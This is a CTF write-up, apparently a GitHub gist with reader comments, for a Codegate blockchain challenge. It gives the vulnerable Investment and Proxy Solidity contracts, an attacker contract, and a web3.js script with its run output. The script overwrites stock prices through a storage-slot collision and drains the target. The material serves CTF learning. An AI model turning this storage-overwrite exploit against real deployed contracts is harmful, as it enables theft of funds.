    function mint() public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("mint()"));
        require(success);
    }

    function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32) {
        // msg.sender.call(abi.encodeWithSignature("donateStock(address,string,uint256)", _to, targetStock, _amountOfStock));
        return keccak256("apple");
    }

    function giveMeName(string memory foo) public returns (bytes memory) {
        return abi.encodeWithSignature(foo);
    }

    function testApple() public returns (bytes32) {
        return keccak256("apple");
    }
}

Sol.sol๋กœ๋ถ€ํ„ฐ solc๋ฅผ ์ด์šฉํ•ด Sol.abi์™€ Sol.bin์„ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

sol.js

const fs = require('fs')
const Common = require('@ethereumjs/common').default
const Transaction = require('@ethereumjs/tx').Transaction
const Web3 = require('web3');

require('dotenv').config();
const { ADDRESS, API_URL, PRIVATE_KEY } = process.env;
const web3 = new Web3(API_URL);
const common = Common.custom({ chainId: 0x746 })
const Contract = "REDACTED"


async function main() {
    // 1. deploy the contract who will become invalid last donater
    console.log("[+] deploying contractโ€ฆ");
    await deploy("Sol", [Contract]);

    // 2. mint
    console.log("[+] taking base moneyโ€ฆ");
    await send("0x1249c58b") // mint

    // 3. buy cheap stocks
    console.log("[+] buying 4 amd stockโ€ฆ");
    await send("0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //buy amd 4

    // 4. overwrite prices
    console.log("[+] overwriting codegate stock priceโ€ฆ");
    await send("0x9bceca6ccf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8") // overwrite codegate price
    // 4-1, should also await, because of nonce problem
    console.log("[+] overwriting amd stock priceโ€ฆ");
    await send("0x9bceca6c0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37") // overwrite amd price

    // 5. sell previously bought stocks
    console.log("[+] selling 3 amd stockโ€ฆ");
    await send("0x9c15a104000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //sell amd 3

    // 6. buy codegate stock
    console.log("[+] buying 1 codegate stockโ€ฆ");
    await send('0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000') //buy codegate 1

    // 7. confirm solved
    console.log("[+] checking whether I deserve flagโ€ฆ");
    await send('0x64d98f6e') // isSolved
    console.log("[!] copy and paste TX hash above");
}

async function deploy(contractName, contractArgs) {
    let abi = fs.readFileSync(contractName + ".abi").toString();
    let bin = fs.readFileSync(contractName + ".bin").toString();
    let contract = new web3.eth.Contract(JSON.parse(abi));
    await _deploy(contract.deploy({ data: "0x" + bin, arguments: contractArgs }));
}

async function _deploy(transaction) {
    let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
    let txParams = {
        nonce: nonce,
        gasPrice: 60000,
        gasLimit: '0x271000',
        to: transaction._parent._address,
        value: '0x00',
        data: transaction.encodeABI(),
        chainId: '0x746'
    }
    await _send(txParams);
}

async function send(data) {
    let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
    let txParams = {
        nonce: nonce,
        gasPrice: 60000,
        gasLimit: '0x271000',
        to: Contract,
        value: '0x00',
        data: data,
        chainId: '0x746'
    }
    await _send(txParams);
}

async function _send(txParams) {
    const tx = Transaction.fromTxData(txParams, { common })
    const privateKey = Buffer.from(PRIVATE_KEY, 'hex')
    const signedTx = tx.sign(privateKey)

    const serializedTx = signedTx.serialize()
    let rawTxHex = '0x' + serializedTx.toString('hex');

    let error, transaction = await web3.eth.sendSignedTransaction(rawTxHex)
    if (error) {
        console.log("โ—Something went wrong while submitting your transaction:", error);
        throw new Error(error);
    }
    console.log("๐ŸŽ‰ The hash of your transaction is: ", transaction.transactionHash);    
}

main()
$ node sol.js
[+] deploying contractโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] taking base moneyโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] buying 4 amd stockโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] overwriting codegate stock priceโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] overwriting amd stock priceโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] selling 3 amd stockโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] buying 1 codegate stockโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[+] checking whether I deserve flagโ€ฆ
๐ŸŽ‰ The hash of your transaction is:  REDACTED
[!] copy and paste TX hash above

ํ† ํฐ๊ณผ ๋งˆ์ง€๋ง‰ TX hash๋ฅผ ๋„ฃ์œผ๋ฉด flag๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค.

ํ›„๊ธฐ

dynamic array๋กœ overwriteํ•˜๋Š” ๊ฑด ๋ฐ”๋กœ ์ƒ๊ฐ์„ ํ–ˆ๋Š”๋ฐ, Proxy์˜ ์กด์žฌ ์˜์˜๋ฅผ ๋Šฆ๊ฒŒ ์•Œ์•„์ฑ˜์Šต๋‹ˆ๋‹ค. ๋‹น์—ฐํžˆ ์ต์Šค์— ํ•„์š”ํ•˜๋‹ˆ๊นŒ ๋‹ฌ๋ ค์žˆ๋Š” ๊ฑฐ์ผํ…๋ฐโ€ฆ remix๋ž‘ metamask๊ฐ€ ๋ง‰ํžˆ๋‹ˆ๊นŒ web3py๋กœ ๊ฐ”๋Š”๋ฐ, sign ๋กœ์ปฌ์—์„œ ํ•ด์ฃผ๋Š” ๋ถ€๋ถ„์ด๋ž‘ chainId๊ฐ€ ๋‹ค๋ฅธ ๋ถ€๋ถ„์—์„œ ๋ง‰ํ˜€์„œ web3js๋กœ ๊ฐ”๊ณ , ๊ฑฐ๊ธฐ์„œ๋„ ๋ฐ”๋กœ ํ•ด๊ฒฐ์ฑ…์„ ์ฐพ์•„๋‚ด์ง€ ๋ชปํ•ด์„œ ์‹œ๊ฐ„์„ ์ข€ ๋งŽ์ด ๋Œ๋ ธ์Šต๋‹ˆ๋‹ค. ์‹œ๊ฐ„ ๋‚ด์— ํ’€์—ˆ์œผ๋ฉด ์ •๋ง ์ข‹์•˜๊ฒ ์ง€๋งŒ ๊ทธ๋Ÿฌ์ง€ ๋ชปํ–ˆ๊ธฐ์— ์ด๋ ‡๊ฒŒ ๋ถ„๋…ธ์˜ writeup์ด๋ผ๋„ ๋‚จ๊ฒจ๋ด…๋‹ˆ๋‹ค.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "OpenZeppelin/openzeppelin-contracts@4.4.2/contracts/utils/math/SafeMath.sol";
contract Investment {
address private implementation;
address private owner;
address[] public donaters;
using SafeMath for uint;
mapping (address => bool) private _minted;
mapping (bytes32 => uint) private _total_stocks;
mapping (bytes32 => uint) private _reg_stocks;
mapping (address => mapping (bytes32 => uint)) private _stocks;
mapping (address => uint) private _balances;
address lastDonater;
uint fee;
uint denominator;
bool inited;
event solved(address);
modifier isInited {
require(inited);
_;
}
function init() public {
require(!inited);
_reg_stocks[keccak256("apple")] = 111;
_total_stocks[keccak256("apple")] = 99999999;
_reg_stocks[keccak256("microsoft")] = 101;
_total_stocks[keccak256("microsoft")] = 99999999;
_reg_stocks[keccak256("intel")] = 97;
_total_stocks[keccak256("intel")] = 99999999;
_reg_stocks[keccak256("amd")] = 74;
_total_stocks[keccak256("amd")] = 99999999;
_reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111;
_total_stocks[keccak256("codegate")] = 1;
fee = 5;
denominator = 1e4;
inited = true;
}
function buyStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_total_stocks[stockName] > 0 && _amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
require(_balances[msg.sender] >= amount);
_balances[msg.sender] -= amount;
_stocks[msg.sender][stockName] += _amountOfStock;
_total_stocks[stockName] -= _amountOfStock;
}
function sellStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
_total_stocks[stockName] += _amountOfStock;
}
function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
require(success);
lastDonater = msg.sender;
donaters.push(lastDonater);
}
function isInvalidDonaters(uint index) internal returns (bool) {
require(donaters.length > index);
if (!isUser(lastDonater)) {
return true;
}
else {
return false;
}
}
function modifyDonater(uint index) public isInited {
require(isInvalidDonaters(index));
donaters[index] = msg.sender;
}
function isUser(address _user) internal returns (bool) {
uint size;
assembly {
size := extcodesize(_user)
}
return size == 0;
}
function mint() public isInited {
require(!_minted[msg.sender]);
_balances[msg.sender] = 300;
_minted[msg.sender] = true;
}
function isSolved() public isInited {
if (_total_stocks[keccak256("codegate")] == 0) {
emit solved(msg.sender);
address payable addr = payable(address(0));
selfdestruct(addr);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract Proxy {
address implementation;
address owner;
struct log {
bytes12 time;
address sender;
}
log info;
constructor(address _target) {
owner = msg.sender;
implementation = _target;
}
function setImplementation(address _target) public {
require(msg.sender == owner);
implementation = _target;
}
function _delegate(address _target) internal {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view returns (address) {
return implementation;
}
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable {
_fallback();
}
receive() external payable {
_fallback();
}
function _beforeFallback() internal {
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;
}
}
const fs = require('fs')
const Common = require('@ethereumjs/common').default
const Transaction = require('@ethereumjs/tx').Transaction
const Web3 = require('web3');
require('dotenv').config();
const { ADDRESS, API_URL, PRIVATE_KEY } = process.env;
const web3 = new Web3(API_URL);
const common = Common.custom({ chainId: 0x746 })
const Contract = "REDACTED"
async function main() {
// 1. deploy the contract who will become invalid last donater
console.log("[+] deploying contractโ€ฆ");
await deploy("Sol", [Contract]);
// 2. mint
console.log("[+] taking base moneyโ€ฆ");
await send("0x1249c58b") // mint
// 3. buy cheap stocks
console.log("[+] buying 4 amd stockโ€ฆ");
await send("0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //buy amd 4
// 4. overwrite prices
console.log("[+] overwriting codegate stock priceโ€ฆ");
await send("0x9bceca6ccf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8") // overwrite codegate price
// 4-1, should also await, because of nonce problem
console.log("[+] overwriting amd stock priceโ€ฆ");
await send("0x9bceca6c0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37") // overwrite amd price
// 5. sell previously bought stocks
console.log("[+] selling 3 amd stockโ€ฆ");
await send("0x9c15a104000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //sell amd 3
// 6. buy codegate stock
console.log("[+] buying 1 codegate stockโ€ฆ");
await send('0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000') //buy codegate 1
// 7. confirm solved
console.log("[+] checking whether I deserve flagโ€ฆ");
await send('0x64d98f6e') // isSolved
console.log("[!] copy and paste TX hash above");
}
async function deploy(contractName, contractArgs) {
let abi = fs.readFileSync(contractName + ".abi").toString();
let bin = fs.readFileSync(contractName + ".bin").toString();
let contract = new web3.eth.Contract(JSON.parse(abi));
await _deploy(contract.deploy({ data: "0x" + bin, arguments: contractArgs }));
}
async function _deploy(transaction) {
let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
let txParams = {
nonce: nonce,
gasPrice: 60000,
gasLimit: '0x271000',
to: transaction._parent._address,
value: '0x00',
data: transaction.encodeABI(),
chainId: '0x746'
}
await _send(txParams);
}
async function send(data) {
let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
let txParams = {
nonce: nonce,
gasPrice: 60000,
gasLimit: '0x271000',
to: Contract,
value: '0x00',
data: data,
chainId: '0x746'
}
await _send(txParams);
}
async function _send(txParams) {
const tx = Transaction.fromTxData(txParams, { common })
const privateKey = Buffer.from(PRIVATE_KEY, 'hex')
const signedTx = tx.sign(privateKey)
const serializedTx = signedTx.serialize()
let rawTxHex = '0x' + serializedTx.toString('hex');
let error, transaction = await web3.eth.sendSignedTransaction(rawTxHex)
if (error) {
console.log("โ—Something went wrong while submitting your transaction:", error);
throw new Error(error);
}
console.log("๐ŸŽ‰ The hash of your transaction is: ", transaction.transactionHash);
}
main()
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.11;
contract Sol {
address public proxy;
string public targetStock;
constructor (address _proxy) {
proxy = _proxy;
setTargetStock("amd");
init();
mint();
buyStock(4);
donateStock(1);
}
function setTargetStock(string memory name) public {
targetStock = name;
}
function init() public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("init()"));
require(success);
}
function buyStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("buyStock(string,uint256)", targetStock, amount));
require(success);
}
function sellStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("sellStock(string,uint256)", targetStock, amount));
require(success);
}
function donateStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("donateStock(address,string,uint256)", address(this), targetStock, amount));
require(success);
}
function modifyDonater(uint index) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("modifyDonater(uint256)", index));
require(success);
}
function mint() public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("mint()"));
require(success);
}
function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32) {
// msg.sender.call(abi.encodeWithSignature("donateStock(address,string,uint256)", _to, targetStock, _amountOfStock));
return keccak256("apple");
}
function giveMeName(string memory foo) public returns (bytes memory) {
return abi.encodeWithSignature(foo);
}
function testApple() public returns (bytes32) {
return keccak256("apple");
}
}
@RetrO-hash
Copy link

Hello Bro , I have a question about what is the contract of dynamic deployment? Because I found that it is not like any contract given through bytecode decompilation.

@YangSeungWon
Copy link
Author

@RetrO-hash I didn't fully understand your comment, but it doesn't need any bytecode decompilation. You can get sources such as Investment.sol and Proxy.sol just by accessing the server through nc 13.125.194.44 20000, and selecting 4th menu.

@nullbr4in
Copy link

์•ˆ๋…•ํ•˜์„ธ์š”^^ writeup์„ ๋ณด๋˜ ์ค‘ ๊ถ๊ธˆํ•œ ๋ถ€๋ถ„์ด ์žˆ์–ด์„œ ์งˆ๋ฌธ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

์•„๋ž˜ ๋ฐ์ดํ„ฐ๋“ค์€ ์–ด๋–ป๊ฒŒ ์–ป์„ ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ์„๊นŒ์š”?

codegate
0x233232af672f5f1aec5aa2de748da4122c59e74faa385262f32ac5a44f060f5f:
Object
key: 0x0fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6
value: 0x085bec12b4b9a40d8f483cb1c71c71c7

amd
0x7f9580bb2e402da609782f512a26ac511100385adb6a8523baea91bbb2227775:
Object
key: 0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605
value: 0x4a

@YangSeungWon
Copy link
Author

@nullbr4in http://remix.ethereum.org/ ์—์„œ ํ•ด๋‹น ์ปจํŠธ๋ž™ํŠธ๋ฅผ ์ปดํŒŒ์ผํ•œ ํ›„ Javascript VM์œผ๋กœ ๋Œ๋ฆฌ๊ณ , init()ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•œ ํ›„ Debug Transaction์„ ์ˆ˜ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์™ผ์ชฝ์—์„œ Storage ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
mapping์˜ ๊ฒฝ์šฐ์—๋„ ๊ฐ๊ฐ์˜ key๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ๋ฐฉ์‹์ด ์ •ํ•ด์ ธ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ณ„์‚ฐ์œผ๋กœ ๊ตฌํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

@nullbr4in
Copy link

@nullbr4in http://remix.ethereum.org/ ์—์„œ ํ•ด๋‹น ์ปจํŠธ๋ž™ํŠธ๋ฅผ ์ปดํŒŒ์ผํ•œ ํ›„ Javascript VM์œผ๋กœ ๋Œ๋ฆฌ๊ณ , init()ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•œ ํ›„ Debug Transaction์„ ์ˆ˜ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์™ผ์ชฝ์—์„œ Storage ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. mapping์˜ ๊ฒฝ์šฐ์—๋„ ๊ฐ๊ฐ์˜ key๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ๋ฐฉ์‹์ด ์ •ํ•ด์ ธ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ณ„์‚ฐ์œผ๋กœ ๊ตฌํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํžˆ ๋‹ต๋ณ€์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ข‹์€ ๋‚ด์šฉ ๊ณต์œ ํ•ด์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ^^

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment